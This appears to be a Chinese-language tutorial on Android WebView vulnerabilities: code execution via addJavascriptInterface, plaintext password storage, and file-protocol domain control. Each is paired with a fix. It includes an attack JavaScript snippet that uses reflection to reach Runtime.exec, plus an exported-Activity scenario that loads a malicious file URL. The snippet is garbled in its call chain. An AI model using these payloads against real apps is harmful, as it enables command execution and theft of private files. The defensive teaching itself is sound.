WebView使用漏洞
WebView
中,主要漏洞有三类:
- 任意代码执行漏洞
- 密码明文存储漏洞
- 域控制不严格漏洞
1 任意代码执行漏洞
JS
调用Android
代码是通过addJavascriptInterface
接口进行对象映射。
1.1 漏洞产生的原因
// java代码
public class AndroidJS extends Object {
@JavascriptInterface
public void hello(String msg) {
System.out.println("JS调用了Android的hello方法");
}
}
webView.addJavascriptInterface(new AndroidJS(), "test");
// JS代码
function callAndroid(){
test.hello("js调用了android中的hello方法");
}
参数1
:Android
的本地对象 参数2
:JS
的对象。通过对象映射将Android
中的本地对象和JS
中的对象进行关联,从而实现JS
调用Android
的对象和方法。
漏洞产生原因是:当JS
拿到Android
这个对象后,就可以调用这个Android
对象中所有的方法,包括系统类(java.lang.Runtime
类),从而进行任意代码执行。如可以执行命令获取本地设备的SD
卡中的文件等信息从而造成信息泄露
具体获取系统类的描述(结合Java
反射机制):Android
中的对象有一公共的方法——getClass()
,该方法可以获取到当前类类型Class
,该类有一关键的方法——Class.forName
,该方法可以加载一个类(可加载java.lang.Runtime
类),而该类是可以执行本地命令的。
以下是攻击的JS
核心代码:
function execute(cmdArgs) {
// 步骤1:遍历window对象,目的是为了找到包含getClass()的对象,因为Android映射的JS对象在window中,所以肯定会遍历到
for (var obj in window) {
if ("getClass" in window[obj]) {
// 步骤2:利用反射调用forName方法得到Runtime类对象
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
// 步骤3:以后就可以调用静态方法来执行一些命令,比如访问文件的命令
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
// 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险
// 如执行完访问文件的命令之后,就可以得到文件名的信息了
}
}
}
当一些APP
通过扫描二维码打开一个外部网页时,攻击者就可以执行这段JS
代码进行漏洞攻击。
1.2 解决方案
在Android 4.2
版本之后,Google
在Android 4.2
版本中规定对被调用的函数以@JavascriptInterface
进行注解从而避免漏洞攻击。
Android 4.2
版本之前,采用拦截prompt()
进行漏洞修复。 具体如下:
每次当WebView
加载页面前加载一段本地的JS
代码,原理是:
- 让
JS
调用一Javascript
方法:该方法是通过调用prompt
把JS
中的信息(含特定标识,方法名称等)传递到Android
端; - 在
Android
的onJsPrompt
中 ,解析传递过来的信息,再通过反射机制调用Java
对象的方法,这样实现安全的JS
调用Android
代码;(关于Android
返回给JS
的值,可通过prompt
把Java
中方法的处理结果返回到JS
中)
javascript:(function JsAddJavascriptInterface_() {
// window.jsInterface表示在window上声明了一个Js对象,jsInterface = 注册的对象名
// 它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return
if (typeof(window.jsInterface)!='undefined') {
console.log('window.jsInterface_js_interface_name is exist!!');
} else {
window.jsInterface = {
onButtonClick:function(arg0) {
// prompt()返回约定的字符串,该字符串可自己定义
// 包含特定的标识符MyApp和JSON字符串(方法名,参数,对象名等)
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
},
onImageClick:function(arg0,arg1,arg2) {
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
},
};
}
})()
// 当JS调用onButtonClick或onImageClick时,就会回调到Android中的onJsPrompt,解析出方法名,参数,对象名,再通过反射机制调用Java对象的方法
2 密码明文存储漏洞
WebView
默认开启密码保存功能:webView.setSavePassword(true)
。开启后,在用户输入密码时,会弹出提示框:询问用户是否保存密码;如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db
中,这样就有被盗取密码的危险。
关闭密码保存提醒:webSettings.setSavePassword(false)
3 域控制不严格漏洞
如下代码:
public class WebViewActivity extends Activity {
private WebView webView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
webView = (WebView) findViewById(R.id.webView);
//webView.getSettings().setAllowFileAccess(false); (1)
//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)
Intent i = getIntent();
String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html
webView.loadUrl(url);
}
}
在清单文件中将WebViewActivity
设置android:exported = "true"
属性,表示当前Activity
是否可以被另一个Application
的组件启动。即A
应用可以通过B
应用导出的Activity
让B
应用加载一个恶意的file
协议的url
,从而可以获取B
应用的内部私有文件,从而带来数据泄露威胁。
当其他应用启动可以允许外部调用的Activity
时, intent
中的data
直接被当作url
来加载(假定传进来的url
为 file:///data/local/tmp/attack.html
),其它APP
通过使用显式ComponentName
或者其他类似方式就可以很轻松的启动该 WebViewActivity
并加载恶意url
。
对于不需要使用file
协议的应用,禁用file
协议:
setAllowFileAccess(false);
对于需要使用file
协议的应用,禁止file
协议加载JavaScript
:
setAllowFileAccess(true);
// 禁止file协议加载 JavaScript
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}